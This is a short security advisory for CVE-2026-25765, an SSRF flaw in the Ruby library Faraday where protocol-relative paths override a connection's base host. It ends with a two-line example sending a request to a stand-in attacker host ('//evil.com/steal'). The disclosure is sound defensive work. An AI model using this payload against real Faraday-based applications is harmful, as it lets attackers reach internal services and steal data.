CVE-2026-25765: Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url

Faraday’s build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby’s URI#merge to combine the connection’s base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL’s host/authority component.

This means that if any application passes user-controlled input to Faraday’s get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')